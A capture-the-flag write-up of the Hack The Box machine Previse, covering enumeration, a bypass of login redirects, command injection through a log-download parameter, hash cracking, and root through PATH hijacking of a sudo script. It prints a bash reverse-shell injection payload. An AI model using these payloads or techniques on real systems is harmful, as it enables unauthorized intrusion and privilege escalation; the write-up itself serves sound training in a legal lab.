Hack The Box: Previse

Jump Ahead: EnumUserRoot


To solve this machine, we begin by enumerating open ports using nmap – finding ports 22 and 80 open. From the webserver, we are able to bypass server redirects, which allow us to access the admin portal. From the admin portal, we can create an admin user. After logging in as our newly created account, we are able to exploit a code injection vulnerability, and get a reverse shell as the www-data user. Next, we find a password hash in a database, and crack it. Using the password, we are able to SSH into the machine as the m4lwhere user – gaining access to user.txt. As m4lwhere, we are able to run a script as root. After exploiting a PATH environment variable vulnerability in the script, we are able to get a shell as root – allowing access to root.txt.


Like all machines, we begin by enumerating open ports using nmap. From our scans, we find ports 22 and 80 open.

$ sudo nmap -v -p- --min-rate 3000 $RHOST
$ sudo nmap -p 22,80 -sV -A -oA enum/nmap/tcp-scripts $RHOST
# Nmap 7.91 scan initiated Thu Aug 19 10:52:00 2021 as: nmap -p 22,80 -sV -A -oA enum/nmap/tcp-scripts
Nmap scan report for
Host is up (0.065s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   80.02 ms
2   80.24 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 19 10:52:27 2021 -- 1 IP address (1 host up) scanned in 27.99 seconds

Since we see a webserver running on the machine, we use gobuster to enumerate directories and files.

$ for i in files directories; do gobuster dir -t 30 -u $RHOST -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-$i.txt -o enum/web/gobuster-80-rm${i:0:1}.txt; done
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/download.php         (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/footer.php           (Status: 200) [Size: 217]
/favicon.ico          (Status: 200) [Size: 15406]
/header.php           (Status: 200) [Size: 980]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/.htaccess            (Status: 403) [Size: 278]
/.                    (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/.htpasswd            (Status: 403) [Size: 278]
/.htm                 (Status: 403) [Size: 278]
/.htpasswds           (Status: 403) [Size: 278]
/nav.php              (Status: 200) [Size: 1248]
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]
/.htgroup             (Status: 403) [Size: 278]
/wp-forum.phps        (Status: 403) [Size: 278]
/.htaccess.bak        (Status: 403) [Size: 278]
/.htuser              (Status: 403) [Size: 278]
/.htc                 (Status: 403) [Size: 278]
/.ht                  (Status: 403) [Size: 278]

From the results, we see many results. One thing that seems out of place is that several files issue a redirect, however, their response sizes are greater than 0, and not consistent.

Getting User

Going to the webserver in our browser, we are redirected to a login form.

Attempting basic SQL injections on the form does not appear to work, so we move on to try other means of getting access. From our initial scans, we saw /index.php was one of the pages that redirected with a “Content-Length” greater than 0. Since the content-length is greater than 0, this means there was content provided that we didn’t get to see. To investigate this, we want to ignore the redirect. For this, we can configure BurpSuite to drop the “Location” HTTP response header by adding to “Proxy->Options->Match and Replace”. Once we configure BurpSuite to drop redirection headers, we can retry to access the webserver index page. Doing so, we are presented with a different view, that seems as though we have already logged in.

Next, we want to fingerprint the webserver, so we click through the links to get an idea of the functionality offered. Looking at the accounts page, it appears to allow us to create new accounts.

Looking at the files page, we see that we are able to upload and delete files. One thing that stands out on this page is a backup archive that we may be able to download. If we click the file, we get the location header with content-length size 0, which indicates we need to log in to be able to download/view it. To test the file upload functionality, we try to upload a webshell for a potential quick win.

When we go to the “Management menu -> website status” page, we are told MySQL is the database, and that there is 1 registered admin, and 1 uploaded file.

Finally, from the “Management menu -> Log Data” page, it appears we are able to download access logs for the files contained on the files page.

Since the file upload feature looks interesting so far, we go to the accounts page and create an account. Once we create the account, we disable dropping the “Location” header, and hit the log out button, and log in. After logging in, we go to the files page and try to access our webshell. Doing so, we are only able to download it.

Since there exists a zip file supposedly containing a backup of the site, we download and unzip it. Next, we look through the files to look for potential vulnerabilities in the source code. The first file we look at is config.php, since it likely has database credentials. Doing so, we get a set of credentials for the “previse” database.

Looking further through the files, we find that logs.php contains a code injection vulnerability. In order for the script to supply logs to the user, it allows the user to specify a delimiter in the “delim” parameter. The script then passes the user supplied input to the php “exec()” function.

To get a proof of concept of this, we send a log download request through BurpSuite. Next, we inject ; <our command> in the “delim” parameter. For our example, we attempt to download a file from our box. To check if the vulnerability is valid, we start a listener with netcat, and send the request. Once sent, we do indeed get a connection to our machine.

Since we have confirmed the vulnerability, we change our command to execute a bash reverse shell. Doing so, we get a reverse shell as www-data.

delim=; bash -c "bash -i >& /dev/tcp/ 0>&1" &

Since we already have credentials to the webserver database (MySQL), we connect to it, and find the “accounts” table. From it, we are able to dump user account credentials.

Next, we use hashcat to crack the password hash for the m4lwhere user.

Checking the password against system accounts using ssh, we get a shell as the m4lwhere user – allowing us to read user.txt.

Getting Root

Having gotten a shell as the m4lwhere user, we begin our initial, local enumeration. The first command we run is sudo -l to check if we are able to run any scripts or commands as other users. Doing so, we see we are able to run a script as the root user. Looking into the script, we see it creates archives of 2 files, and stores them in /var/backups/. One thing we notice is that the gzip command does not use an absolute path.

Since the gzip command does not use an absolute path, we should be able to hijack the intended program with one of our own. To do this, we create a bash reverse shell script named gzip, and give it execution permission. Next, we edit our PATH environment variable to prepend our current working directory. Lastly, we start a netcat listener, and execute the script we can run as root. After it runs, we get a reverse shell as root, and can now read root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!